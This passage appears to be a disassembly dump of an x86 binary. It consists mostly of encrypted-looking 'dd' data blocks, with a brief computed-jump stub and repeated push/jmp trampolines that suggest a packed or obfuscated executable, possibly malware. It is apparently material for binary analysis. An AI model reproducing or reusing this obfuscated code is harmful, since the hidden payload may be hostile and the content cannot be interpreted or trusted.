2A34A238h dd 1E844846h, 2DB561BBh dd 32A870ACh, 4258889Fh, 0B09C1795h, 68A92EB5h, 0EE7E832Dh dd 8AEC346Fh, 84E04C45h, 5B98A13Fh, 429AF140h, 0EA9ECA12h dd 96D5231h, 39A171A8h, 3BA93F84h, 0AC901BABh, 4BA14015h dd 0D9F25EA0h, 92E10B7Fh, 7D5F62F7h, 15A5A929h, 574BB29Eh dd 28657699h, 6F837531h, 0CF4EF5Ch, 3CECABCFh, 0F995781h dd 6F8713F3h, 1B13FEB7h, 25h, 801653BDh, 0C7C18010h, 721F841Fh dd 0A8A9289Fh, 0E0484FABh, 0AB99566Ah, 0D3236F97h, 8713FFD2h dd 0E9h, 0DB584FD9h, 0F3F81C7Ah, 0A13F844Dh, 62DED62Ah dd 92FEC666h, 31900041h, 6EA833D3h, 0A5C10503h, 0F115C5DCh dd 3BA97990h, 1542ABF4h, 4C579BEFh, 9A232B6h, 0A13FF923h dd 0F928149Fh, 93E0A13Fh, 3B577A79h, 554C7397h, 3FFD29CCh dd 0D7031AA1h, 0C7130ACFh, 4E851AD5h, 7DB45F33h, 2FBAFB23h dd 5F5196D7h, 0BA6BA64Dh, 3241A928h, 58AC3994h, 4351963Eh dd 4250B5A8h, 0AF806FA1h, 0AEBA218Ch, 0C417FDE4h, 0F71775D4h dd 20CB5BEFh, 916A91FCh, 9524BFBCh, 68AA5777h, 0FB2E0134h dd 1EA30DDh, 435B0000h, 4D4A0F97h, 67A01189h, 779227BFh dd 88864B53h, 7EE05E44h, 0CAD0F412h, 0D9C10D07h, 0EEF41C78h dd 0FEE4346Bh, 428C341h, 0C4A92EB8h, 514F57F1h, 3495158Dh dd 0E8D733DBh, 9F4B42F1h, 85554C0Dh, 0E3676261h, 8016536Bh dd 9EF69B10h, 2734A928h, 0CB60CFC3h, 0C9F67D0Bh, 40E87168h dd 0B9955ADh, 35DD3899h, 189670AEh, 14008EFCh, 0E16Ch dd 584F2000h, 0A2326E88h, 3F852309h, 0BE98E7A1h, 6BE4622Bh dd 15A43F7Ch, 41EF84F7h, 0F9A1400Fh, 0A627B5FAh, 4B47A36Fh dd 400E7CA0h, 0FE3F3CA1h, 816413E3h, 0E2A14013h, 0E3677FABh dd 86E02462h, 9CF34259h, 0A6FD5C4Ch, 0D6976F7Ah, 0E68D1F91h dd 0A9292B2Bh, 0AD759001h, 0DDC50A49h, 4F8F8C4Dh, 50FC772Bh dd 89956E9h, 0BC1F8ACBh, 0A223B127h, 1946A064h, 95690282h dd 0A9A142BEh, 799736AAh, 8E8C4D55h, 0A95FB54Eh, 0C0EE2E01h dd 0E725h, 90405800h, 8A4A470Ah, 0B864BD1Ch, 0AC74AF22h dd 41858336h, 2D81E359h, 2B72FEFh, 73C6DC08h, 66EBF317h dd 4CFBE32Fh, 0B90937BCh, 0F4C1A92Eh, 0EF514F68h, 0BA2E6FB3h dd 59E7ED75h, 2865E887h, 0A63CA7E4h, 0B62CFC13h, 3B55FD32h dd 0A1DB3981h, 584F9E3Ah, 5FB91888h, 756C53B7h, 39E92081h dd 21B70CA1h, 2CF812B3h, 66AEE7CAh, 39EDF04h, 0AD8FEE85h dd 0C4B5A92Eh, 0D1C300C8h, 97F31370h, 0FCC531A8h, 0EC6D75A5h dd 8A0165B5h, 0DBC4F830h, 36507C95h, 82E4346Bh, 19B15549h dd 0D9F4779h, 7DDCCA16h, 3190FA26h, 66CA61D6h, 2256DBBCh dd 2B7690D1h, 0E2CF2BEFh, 0BF1B7FABh, 17556581h, 1CDC687h dd 2A82649Ah, 874745F3h, 445D7C63h, 30717E98h, 60B716AAh dd 726956B0h, 0FA1CCCC3h, 353h, 2E8A7100h, 6F8B574Fh, 0BBDF0B02h dd 0F416BAD6h, 4FAB73ADh, 86E02462h, 0DD39DD3Bh, 157199F4h dd 6F8B534Ch, 0A5C10502h, 0E18951B7h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68242C89h, 5B74h, 68240489h, 2D76h, 68243489h dd 7EF29DDh, 8324048Bh, 8B5404C4h, 0C4812434h, 4, 74BE5650h dd 1714559h, 5E042474h, 8108468Fh, 5974086Eh, 348B7145h dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5624048Bh, 0C681E689h dd 4, 4C681h, 34870000h, 6DE95C24h, 93FFFB1Dh, 23BE7238h ; --------------------------------------------------------------------------- push ebp loc_5E7361: ; CODE XREF: sdfs____:005E6738j mov eax, 7EF3523h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0D0EDh dd 31D14DCFh, 222E2D54h, 6C6F4763h, 0F1D76D54h, 38660D89h dd 13B86752h, 0E08106DFh, 504C1896h, 65F85F86h, 2F0E4430h dd 0A6057399h, 0EAC25367h, 152A0288h, 2B5C0686h, 0FC3168C9h dd 0A5893629h, 0F2C63BF9h, 66AD12F0h, 8D8D484Ah, 7EF369Fh dd 7E5BD8Bh, 8D8907E9h, 7E9320Dh, 58F0Fh, 81660000h, 0C7EE26E3h dd 0E922E585h, 698807h, 8D895600h, 7E91651h, 0B185C75Fh dd 7E922h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 6E1CC352h, 1D1370E4h, 0B5FFA32Eh dd 7E912D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 17C35646h, 0B4296227h, 1CB59529h, 860F07E9h, 5 dd 336F33BBh, 8595FF30h, 8007E922h, 6A49ECh, 0C3195FFh dd 0C08B07E9h, 0A8EB19EBh, 0A26CEF46h, 682A1658h, 0C362B174h dd 8908325Bh, 0AB71B69Fh, 0E9311A5Bh, 0C2h, 76919EE7h dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h dd 2 dup(0) dd 36E90000h, 68000015h, 7EF395Dh, 0FA4431E9h, 3A5C68FFh dd 27E907EFh, 68FFFA44h, 7EF3B43h, 0FA441DE9h, 3C7668FFh dd 13E907EFh, 68FFFA44h, 7EF3CD9h, 0FA4409E9h, 3DB768FFh dd 0FFE907EFh, 68FFFA43h, 7EF3E4Dh, 0FA43F5E9h, 3F0068FFh dd 0EBE907EFh, 68FFFA43h, 7EF3FDDh, 0FA43E1E9h, 414668FFh dd 0D7E907EFh, 68FFFA43h, 7EF4246h, 0FA43CDE9h, 437D68FFh dd 0C3E907EFh, 68FFFA43h, 7EF4434h, 0FA43B9E9h, 458468FFh dd 0AFE907EFh, 68FFFA43h, 7EF46DAh, 0FA43A5E9h, 48D868FFh dd 9BE907EFh, 68FFFA43h, 7EF49E6h, 0FA4391E9h, 0A2D279FFh dd 0EF8DA113h, 3A44EA46h, 8B0919BBh, 0D1AB4EEAh, 0F6BCC5Ch dd 0B1E392EAh, 0E751DC60h, 2B852850h, 99FE7701h, 8D14940Dh dd 0CEFC286Dh, 0D6A04A98h, 0CEA8420Eh, 76E10C27h, 0ABCEADE4h dd 0DEC437B5h, 0AC439F06h, 6F392873h, 0ABDCDCD5h, 6E342873h dd 62BF5E82h, 8C19F5A2h, 45DCh, 0A0B3E600h, 720BA537h dd 9268896Bh, 0A9E998D9h, 6B305C21h, 0BE4FAB39h, 37B5083Fh dd 1E9E13ADh, 0F6287308h, 3C9844ACh, 1836319h, 0D6F29373h dd 8A287307h, 0C24050FCh, 0B6630A76h, 8C1A9D4Eh, 0CDA8h dd 0A04A3A00h, 0AF420ED6h, 0C4D8D8C9h, 6A38305Ch, 91AB42D4h dd 3ACEA41Ch, 425C9058h, 7E088A9Ah, 5CB58303h, 0DB178D30h dd 89235DFFh, 8F57D5CDh, 0D5E13DF5h, 8FE90347h, 0A30D74F9h dd 0A1305CB0h, 0E844E98Bh, 19EC3042h, 82FF891Eh, 37B59F2Fh dd 96109D07h, 0D06ECDFFh, 9C5495BAh, 37C156C1h, 0C77DEC7Ah dd 0C7C35A2Fh, 0ABD56755h, 3CD5D612h, 9A08F4h, 2ACBB144h dd 98116B8Eh, 3C34279Bh, 0AF32A5B9h, 17000012h, 5FF97404h dd 802CC1BBh, 37610C6Eh, 64D05DDFh, 920AABD1h, 64102595h dd 0B6366FC9h, 27A9D3Fh, 492BC173h, 0AAE7C3A4h, 286D8BEAh dd 78B2102Ah, 0C74439DCh, 0AFA25050h, 7C06DE6Ch, 8FED00B4h dd 0D6A04AE6h, 0A0B3EB5Fh, 0F98C1001h, 5A21743Ch, 0B04AD8B0h dd 0B54102C1h, 32129037h, 73407753h, 38E16D28h, 1A65299Bh dd 0DD458Ch, 0AF390000h, 734BB2F2h, 0B6406228h, 734BBBFBh dd 0E34F5528h, 67ED7821h, 0F42532F9h, 0BF87F11Bh, 7F5B9725h dd 7743A3DDh, 0DB4A9AE2h, 305C19F1h, 0BA3B45D7h, 5DB4FC1Eh dd 20F549DFh, 9908A235h, 37B50846h, 85057C16h, 47287308h dd 0D9CBCBB5h, 0BE376D11h, 4DDF48EBh, 0C7333D54h, 762B752Fh dd 20873436h, 0A436C4DEh, 3417970Ah, 0AFF92087h, 8733B2F2h dd 0B2406220h, 51E46046h, 0A282FA1Dh, 0B1E39220h, 3651D89Ch dd 4E3C34A6h, 11B0C1F6h, 5160000h, 0BA5EFA7Bh, 6D832DC0h dd 0DE366213h, 0D267D15Ch, 94950BAAh, 0CA6B1124h, 38B5376Eh dd 6C017B9Ch, 0A5482AC0h, 0EBABE6C0h, 25286D8Ah, 0A74AB117h dd 769B43D5h, 4CA43E06h, 0D45D741h, 24C88CE8h, 0B12DC056h dd 0A9750715h, 4AEDDF1Bh, 700ED6A0h, 263E43D4h, 4DE43370h dd 0AC08E076h, 0E541EC8Eh, 4AA6D679h, 6EB6C86Eh, 7AEC862h dd 58DBE1E0h, 732257F9h, 0FD15C023h, 2DB78F1Dh, 61940D9Fh dd 0AB37B550h, 4A5A0C23h, 0D86E74C8h, 0D6366C10h, 0E91F845Fh dd 79083FFh, 1E8D3C75h, 0FFA53842h, 50C75227h, 1D912CC6h dd 4381F0A8h, 0D979C996h, 0AF5BAF4Ch, 92720A2Fh, 3029D810h dd 82305484h, 2CCE9620h, 0AA43A352h, 2643ADFEh, 8047379Ch dd 7662E4CEh, 8EAC08E0h, 0CB0845ECh, 94A83CA8h, 10C923h dd 92E20900h, 0DF9DB1E3h, 2A54FA56h, 7BF9298Bh, 0C1BB5EFAh dd 1F7BBC2Ch, 41F382FAh, 0F721CC50h, 3B951860h, 0A9CE6711h dd 8A0484FDh, 0FE0C286Dh, 0D6A04A88h, 2FB8BB0Eh, 9EE1E49Dh dd 834B37B5h, 3F230F69h, 9A95C865h, 0E2D4DD0Ah, 2DC39BF7h dd 46E3E69Bh, 0F1B32FCCh, 4658742Dh, 0C208Ah, 5F48B859h dd 37A69403h, 3C000000h, 0A537A0B3h, 0B277F2ECh, 52E4BE37h dd 9A1B658Ah, 0CEAC400Ch, 0C5846C76h, 287376C3h, 64096B81h dd 0C2BC52FAh, 0D4AD4276h, 0C216A401h, 0E242D052h, 1029CDh dd 0A0B31500h, 41ECA537h, 0D1384F8Ch, 7F9D39D3h, 0A0D16BFDh dd 286D8CE0h, 3B867230h, 0A8711ABh, 286D8D8Ah, 2969188Ah dd 0EB286D8Dh, 0B74571B9h, 0E76F79C5h, 13CE2A52h, 6B059700h dd 8CE0A0D1h, 7230286Dh, 0E539BBEAh, 0EC7213DFh, 0A0306055h dd 4EEC6802h, 8825812Ch, 718C887Bh, 30C581A1h, 0EEAF844h dd 2EF680AAh, 0BD4FD85Bh, 0E494BB23h, 7E4AF5B5h, 3DBFD720h dd 0A9D36551h, 71B94F55h, 333F3A77h, 2D7727D7h, 26A6D584h dd 786FE724h, 0F96h, 0D05D1F3Ch, 0BAAD064h, 78F587A9h dd 0AF46C4DCh, 0E18CE80Dh, 2FC2AE8Bh, 1D74A04Dh, 95BA169Fh dd 4CEE4AEBh, 0C0DA8332h, 6D88D1D1h, 5B094328h, 5CC5439Fh dd 0C651DC30h, 8DEF7D34h, 79D384Fh, 3143E975h, 78FA10BCh dd 0D146D1A4h, 68874A47h, 0A30F2FC6h, 0D663F173h, 3C396AADh dd 33BC1323h, 9300000Fh, 0DB75F878h, 0CA84537h, 0B31D90EAh dd 0E04CE163h, 16862F4Dh, 0E88CA111h, 3ABAEB45h, 86F619BBh dd 0CDAF4DEFh, 2E633F20h, 286D896Eh, 4A3694A6h, 0A944D6A0h dd 99E83B25h, 0FF2FAE20h, 7AEDA8F4h, 0D6D00CE4h, 4E96E80Eh dd 32D8FC34h, 3CD0FC40h, 3E47473Ah, 0DBC9305Ch, 3FDDF945h dd 3E484839h, 0DAC8305Ch, 0DD23F844h, 0AF3FBE3Ch, 3E1C9C15h dd 0AEF4305Ch, 0A27F1E42h, 84316362h, 8D19Ch, 39680200h dd 305C4679h, 621A3F9Bh, 0B3A664CCh, 8A537A0h, 45B21DADh dd 2656FB8Ch, 0B44E5890h, 5F27671Ah, 0BFE9305Ch, 5C5EC2C2h dd 0C2505230h, 27DE9776h, 0D2D0384Fh, 0FC7E9C38h, 4B35C771h dd 28AE0AFBh, 0A4B7286Dh, 0E5E89933h, 0AD2FC601h, 0F3277AF7h dd 0B18D3C39h, 0E551Eh, 1E5EFD00h, 6B112597h, 0B6C86ECAh dd 7859D3Fh, 4D2FC26Eh, 83EF48A0h, 35670E6Eh, 7BD558DCh dd 0AF09A4D4h, 1D42F38Dh, 87901081h, 4A80286Dh, 0D6A04A14h dd 0CEA8420Eh, 0E8917B76h, 30DBD92Bh, 8301584h, 9FAD0000h dd 305CC543h, 34C651DCh, 4F8E447Dh, 22B4EE38h, 4FE690BAh dd 0D12D4FEDh, 91EB0FD7h, 26FB374Dh, 0F587AA0Bh, 8F089C29h dd 1008020Dh, 0C05AEC82h, 0E33B7B36h, 0F9D5286Ch, 0A7932153h dd 0C5BD23A6h, 0B831732Fh, 3C383FFFh, 0BF5609C5h, 700000Dh dd 4FE984F4h, 0F05CD1ABh, 27911C5Eh, 54C06DEFh, 0A23ABBC1h dd 74001585h, 0C6465FF9h, 126A8D2Fh, 591B3163h, 0BAF7B3D4h dd 286D86FAh, 4A82E01Ah, 420ED6A0h, 7B76CEA8h, 929352EBh dd 2F742780h, 0DDFE9FC3h, 8431C1E3h, 79103h, 0A0B3A700h dd 0C53E7E33h, 0CCD6305Ch, 9F5AC3Eh, 8B384F8Eh, 35C78F19h dd 0A13CAA4Bh, 5864F2D1h, 0CAEE4AF9h, 178E5620h, 286D53BBh dd 0FCBCF58Fh, 0DC286D53h, 0E1E34339h, 0FEBEF3ADh, 16286D53h dd 7F32FE8Ch, 0A0D16BFCh, 2FC62E1Dh, 86F61975h, 6F4523BEh dd 4A9648D0h, 0C48B26B4h, 0C03C3953h, 0D0C5B0Ch, 0A14A0000h dd 5EF25ED7h, 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h dd 2EC7B558h, 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h dd 0C9286D86h, 0EE78CDB3h, 5CC4F3B3h, 9CB11D30h, 0E87E04D8h dd 0F4869400h, 0EC8EAC28h, 1E58F25Ah, 3874BCC6h, 61B25BBDh dd 8430DC9Fh, 6D1DFh, 209FEB00h, 0C7305CC5h, 9F29C354h dd 0C50C8C05h, 9E04305Ch, 9C601A3Eh, 545B2A06h, 38384F8Eh dd 3F07859Ch, 7056A3A2h dd 0B44A4348h, 0B37FFD10h, 9B43D5CFh, 0C26E0771h, 0AA287828h dd 20BA485Ah, 2D9B1B96h, 65BD286Dh, 9851FE7h, 79A79C9Ch dd 61F7F4EDh, 95805589h, 86396802h, 562FC64Ch, 4AB0C4BFh dd 843B5757h, 52EBB920h, 0B115E27Dh, 7F05D99Bh, 5CD5CFB3h dd 3C39CBEFh, 2F1EB18Dh, 9700000Ch, 0DF79F484h, 0AC413Bh dd 0B7E18CEEh, 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h dd 82FA1DBFh, 0C9AB41F3h, 2A674324h, 286D866Ah, 4A3290AAh dd 0AAF1D1A0h, 914881A4h, 85972303h, 2C502BFBh, 0C7B15B8Dh dd 812B952Eh, 0A04B8431h, 1F000001h, 44D6A04Ah, 0E43C8898h dd 76049E66h, 0FC5866BAh, 0E0D41C5Eh, 0D285284Ah, 4B46D047h dd 37B5AC2Ch, 90EA0E6Ah, 67432202h, 1D2873ADh, 398B48F1h dd 0FE8C19F4h, 0C8B93F56h, 2873B4C8h, 6CC45A48h, 3B31h dd 0A0B39100h, 1339A537h, 2FBD3F57h, 2DACE5C3h, 9F37B5ABh dd 15990006h, 1E967DBh, 0E1FF475Dh, 915A5A57h, 0E8BA2873h dd 91654100h, 0F71B2873h, 143B8556h, 0EBBB8C1Ah, 0F000000h dd 773BDC78h, 3D479FE1h, 0E54D57AFh, 0CF591B31h, 0A189F307h dd 0C8AC410Dh, 0C0B25874h, 0D9C8627Ch, 305CC4D9h, 1581693Bh dd 89F87507h, 305C992Fh, 0C2BA5F07h, 0CEA84276h, 0A12DC727h dd 0FBBBEE8Eh, 0EF305C98h, 5C98F2B2h, 0C802230h, 58223696h dd 7F32FE84h, 3C006CFCh, 0FA35EF15h, 0C9E8E9FBh, 0B54BD909h dd 0EB95BB23h, 470F990Fh, 6362CE4Eh, 37B0208Ah, 60EC7E24h dd 0AA06AFCDh, 0DF80F287h, 0FE9DEB95h, 76402353h, 0D46AF8F3h dd 0D7EFA5Dh, 154A9A34h, 0AC6h, 0E08DEF0Ch, 5BDAA0B4h dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6D840181h, 8BF91328h dd 43D5A74Ah, 3A0A8A9Bh, 77F52CA8h, 0D0DD15AFh, 16688E56h dd 0C58D0D84h, 1D87305Ch, 294BE1D5h, 0EE783E84h, 5CC4F3B3h dd 3547D530h, 0E9BBDBE9h, 0EF9A2E5Ch, 0E8405F7Eh, 0D67A2ECCh dd 9B2492A3h, 19AF4F7Dh, 0A12DBB8Bh, 8D17EF8Dh, 99DB71A5h dd 460A314h, 0B3C30000h, 0ECA537A0h, 37B5B089h, 0DA4B9B09h dd 2873B0FEh, 62BF5EE2h, 8C19F4A2h, 1E7DCh, 0B1AC200h dd 9F63A189h, 305CC51Ah, 2BBD2AC5h, 5ED8FA3h, 8DBDEEA3h dd 3371384Fh, 0B3470F99h, 0B55975C9h, 0DDF931C7h, 4B03D3Fh dd 0E5B884F6h, 834BDD4Ah, 6B112492h, 9DDF71D5h, 6B5E5355h dd 0CB2FC67Bh, 0A63048EFh, 847AABEBh, 0A93F6520h, 397D9F00h dd 36A9A53Ch, 9C6h, 0E08DEF0Ch, 5BDAA0B4h, 882557F9h, 0FF76F42Ch dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh, 1C3E9A1Bh dd 0F0AAD362h, 6D830181h, 8BF91328h, 0ED6A04Ah, 76CEA842h dd 76B25BA5h, 0F288ACE4h, 68029012h, 0C4E3A3DEh, 772D305Ch dd 338D36BBh, 0B38430E0h, 134h, 0F484AB33h, 0A04A8E3Ch dd 0A8420ED6h, 0E10C27CEh, 824AE476h, 0B133136Dh, 0ABE98879h dd 8B5337B5h, 0BBC91567h, 8711937Fh, 0E9413BDFh, 8DA32BB5h dd 0F94537C5h, 0FB8955EBh, 0AC724E3Fh, 0EA162873h, 0F52E9643h dd 3B488C19h, 1A000000h, 0A537A0B3h, 0B5AAEDECh, 9FF75F37h dd 0A579FB2Bh, 2ACD891Fh, 38F0F252h, 0E8F64E54h, 53B3C96Ch dd 0CCE89951h, 0B02873A9h, 0D42CED8Ch, 598C19FAh, 0CB27A5FDh dd 9896h, 0A04A2C00h, 0AF420ED6h, 0ACA23BCDh, 828261BEh dd 48045890h, 400CD0A2h, 0A73EC8AAh, 0B30F2806h, 6875BD6Ah dd 5C7E8F19h, 0D5A7B530h, 7DEA0558h, 0AA5DB6EBh, 11AB37AFh dd 6FAA2060h, 7284F028h, 18AE3408h, 0E4762CD0h, 0EA7D578h dd 44ED8FA2h, 340C2CE5h, 8F487FF7h, 37000008h, 7FD95424h dd 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh, 72EA8BF1h, 4430C5B5h dd 96160FA9h, 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 286D81CAh dd 4A52304Ah, 9B43D5A7h, 0A72A0676h, 1895E775h, 7EED78AAh dd 0E3813B26h, 0D973A793h, 0E10B479Fh, 5BA91E97h, 0F9000002h dd 0A537A0B3h, 4F8C45ECh, 0FD7CD38h, 6D8D3A96h, 7B222E28h dd 2018665Eh, 211808Ch, 9F220000h, 305CC51Ah, 0CEB0460Eh dd 0E9846C76h, 3749EF4Eh, 0BB9A17A1h, 5B384F8Ch, 517BF49h dd 0BC5EFA7Bh, 0C96462C2h, 3EB623A3h, 9240C73h, 0B2EF79EEh dd 2FC66AFFh, 6FC46D37h, 4D3C396Dh, 7D8DEF1h, 0DD7E0000h dd 92A612A3h, 45EB45E8h, 61EBA3Bh, 0AA4FE984h, 6CCD23D2h dd 0E293E90Ch, 50DD5FB6h, 842953E4h, 0FD700228h, 13930E98h dd 0FD286D81h, 0A04A99CFh, 0C4DFDFD2h, 7331305Ch, 0A7B501DDh dd 8B9B43D5h, 3E8D2109h, 5FFD37D6h, 0D133901Dh, 668430DFh dd 0D925A7FEh, 0DD215BFDh, 72A431C7h, 334C9B5Bh, 64DF12DEh dd 0EB000001h, 0DFD2A04Ah, 305CC4DFh, 0C5B74531h, 4F17A137h dd 4672D2AAh, 6C76CEB0h, 0F2DE12DEh, 17971E58h, 0C584047Dh dd 168C305Ch, 831407DAh, 0CCC55FE9h, 305CC4CCh, 0F3925E44h dd 37B5AB94h, 0A55CA002h, 2873AC09h, 0D02C4CE3h, 0D82456E4h dd 70822B2Dh, 74A544C8h, 8C19F58Ch, 25EAh, 0A0B3F800h dd 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh, 3BA353FAh dd 28169EBh, 8C19FAC2h, 0C43Ch, 0A04A8600h, 0D4700ED6h dd 0C6F23EBCh, 0A3DD7F33h, 0FAB74143h, 305CC4BAh, 6ABA485Ah dd 52B2CC6Eh, 0BAAD466h, 5D4B427Ch, 77A1430h, 305C4B87h dd 0FBDF1B89h, 0DB8E2751h, 1056F958h, 59EF7DFFh, 0E69B35CFh dd 305C4AA6h, 0DFC346Eh, 37B076F4h, 8A52E4BEh, 3C981567h dd 4BD66319h, 49340D78h, 688C2F5h, 2DCE0000h, 0E276A253h dd 95BB1598h, 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh dd 0E08D0F06h, 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286D7Fh dd 0DC78493Fh, 0E0FE46C4h, 5CC4F1B1h, 0F3812330h, 0FA7E9307h dd 5CC50787h, 59B0930h, 3F56FE68h, 0CE16668Bh, 0C4DE26B4h dd 0E6A2486Ch, 1B9A2852h, 66EE78AFh, 0BDFDAC2Eh, 9F305CC4h dd 1B890587h, 2751FBDFh, 1F59F3DFh, 2C2196h, 4A410000h dd 420ED6A0h, 2BA9F8A8h, 0EB3BC9DBh, 53A34AEEh, 0CF17618Bh dd 0B3597DB5h, 1C9B2CC1h, 0F000000h, 0C57C3C75h, 0E94305Ch dd 0A04AE022h, 3C970ED6h, 6305CC5h, 8BA1630Ah, 4AFE44E9h dd 0BB0ED6A0h, 0E49D2FB8h, 384F8C39h, 9531CBD9h, 0DC78F587h dd 0E6E03C3Eh, 0EDA4DA7Eh, 286D8CADh, 43AF3D67h, 0D2283AEh dd 8D7A3A77h, 89A286Dh, 8A18AA7Ah, 74CF66F0h, 20B4F98Eh dd 0ADB3529Eh, 19305FD4h, 0D492128Fh, 2082207Dh, 0EC7E24C8h dd 0C9C9B852h, 4B207DD3h, 0D464245Dh, 0F6AC207Dh, 0E2C8860h dd 0D4793968h, 99B207Dh, 0E06CFA7Bh, 0D7D232B0h, 334F1246h dd 43AF3D75h, 6BBBC557h, 143A9B96h, 7A089A6Ah, 87B6B1E0h dd 0A6FC27D7h, 260AFA0Bh, 154A9A24h, 532h, 74F97B90h, 0AF4634D8h dd 1C91EB0Dh, 53E260B0h, 85284CE1h, 93A61217h, 0B9E844E9h dd 0F91EBA3Bh, 0A842EE87h, 643E27CEh, 6D7F6D2Dh, 3795A728h dd 0AD2A04Ah, 384A9AE4h, 5CC54949h, 8CEC0330h, 406232B0h dd 7B9103B2h, 339B25F9h, 183631Dh, 0D6F8D29h, 731A7A31h dd 54D99BB1h, 30E015EFh, 9DB21A84h, 0A7D17BE3h, 40164Bh dd 0B3AC0000h, 0BA537A0h, 67D3AD43h, 0B2786C66h, 0C8624037h dd 791EB0Ch, 68C0B85Fh, 779C1E65h, 92B82873h, 78BF56E0h dd 18C5ED73h, 3A961BD7h, 0D9B6B15h, 0CB46C270h, 0EA46B134h dd 485D5h, 0A04A6D00h, 0A8420ED6h, 0C4D7D7CAh, 51C0305Ch dd 4CD1E6A6h, 41D7CDC1h, 0E97EF9ACh, 1743225Fh, 515337B5h dd 17B8148Dh, 9DB02873h, 0A44B07DFh, 7B9D08D4h, 94B820D2h dd 88DC24F5h, 611A8C1Ah, 0A8000000h, 0A537A0B3h, 0B560A008h dd 0AC4081A4h, 0F3AE38CEh, 305C69B3h, 0FDEB475Dh, 0B5504584h dd 0F62FB737h, 0C8D6BA76h, 734FD9D9h, 0DB693B28h, 503E9A0Bh dd 183E2873h, 0E3329E66h, 506C2C65h, 0FEA42873h, 17399468h dd 30DC8476h, 55784889h, 11BD8C1Ah, 0EEE97C00h, 2494B354h dd 0ED77AA86h, 53000000h, 0ED1A04Ah, 0FDCE03CEh, 0D0D5D5CCh dd 653F305Bh, 0E3FD41D7h, 4EAA2A7Bh, 9283C76Ah, 72863212h dd 52E47A08h, 0E8CD7DBBh, 0AD29C819h, 952FF775h, 0A7B5015Dh dd 0D62E4EE3h, 9B1908CCh, 5BAB394Bh, 12A3DD7Fh, 5CAE4973h dd 93ED0F30h, 36D884E2h, 62EAF844h, 5250ACCEh, 5E1832E6h dd 8DEF00CCh, 0E67F09A5h, 937905ACh, 0F4A98102h, 0C25CEE79h dd 0E9397928h, 0C9DB305Bh, 0C8516061h, 0C3E137B4h, 6BFC7F32h dd 0F051A0D1h, 339B2FC6h, 0EF935F19h, 96BB23B5h, 46DF4FE6h dd 146BF0FEh, 0EECA268Bh, 41B8314Bh, 633C3452h, 334FCD3h dd 79920000h, 36DA76FFh, 0E90FA944h, 62B21E97h, 4EE34DE0h dd 1029872Eh, 46EF8DA0h, 0B439BBEAh, 0E885F718h, 21CCAE4Ch dd 6F2F623Ch, 0A1286D7Dh, 0A74A356Bh, 8B9B43D5h, 70DC2109h dd 0AD1598DAh, 0F3B3EE78h, 1D305CC4h, 7BF6AB87h, 0A8275AECh dd 0EE37B5ABh, 1DB968B4h, 0C32873ABh, 837D9E3Fh, 0E38C19FAh dd 105h, 0A92B7BE3h, 21E34F55h, 0B1E0A04Ah, 43D1D333h dd 3A42D7E3h, 4F42DCEAh, 305CC54Fh, 7617E3C1h, 305CC04Ch dd 690E208h, 6B01A26Fh, 76C24CF0h, 5123C96Bh, 86162EC7h dd 81FCB723h, 0B5A075A9h, 64FE8822h, 5C276D2Dh, 2CFAA730h dd 8B7F31C9h, 0E0B647D5h, 26E3583h, 469574BCh, 1637B4CCh dd 8D4564Eh, 0E6D2BE7Ah, 0C9E2CAEh, 62CEAC40h, 0BE29C49Fh dd 46FB922Ch, 32D857DDh, 0D98F7EBAh, 0D72FC703h, 7E933BCDh dd 40787FAh, 9B092087h, 29CC6805h, 3B273254h, 35CB1B59h dd 34D65FBCh, 0CEE17D3Ch, 226h, 40ED8FACh, 0BB3A40D4h dd 0E885F719h, 5FD6544Ch, 911C58FDh, 9FB21E1Bh, 0ADE450DDh dd 52A862Fh, 0BC5EFA7Bh, 504A33C2h, 6D7C6121h, 2B99B328h dd 58D5A74Ah, 86A834CEh, 0E79A28F4h, 305CC4A7h, 0DBFF3B69h dd 0A3217131h, 19B34143h, 0A599908Ch, 238CC599h, 92D4342Dh dd 9518D066h, 0C5DC782Dh, 2DCFEB47h, 35C7F353h, 215B14Bh dd 0D018AA7Ah, 60F551CDh, 1BDC814h, 817F14D3h, 8531F98Fh dd 64390577h, 0D5CC5EC9h, 37B5629Ah, 595948E2h, 0BB287363h dd 0F945C7DFh, 0F19D55EBh, 0B69061B4h, 0A634B5E6h, 0C35D295Eh dd 739FCECEh, 29584628h, 2873A069h, 8F6BF9ABh, 0EC0EBA63h dd 0AD48E392h, 8EF1A03Ah, 42FCC79h, 3B36D699h, 6EFCB612h dd 554C0896h, 9DBF1BD7h, 958D49E3h, 7DB5CF17h, 63FA9421h dd 21D55AC0h, 9BC73340h, 0BB2CCFF2h, 50D7021h, 1F8527E3h dd 66103A96h, 0AC75009Eh, 5421794Ch, 3CD3C733h, 898FE03Ch dd 631624E0h, 1018BA1Dh, 0C16C02BBh, 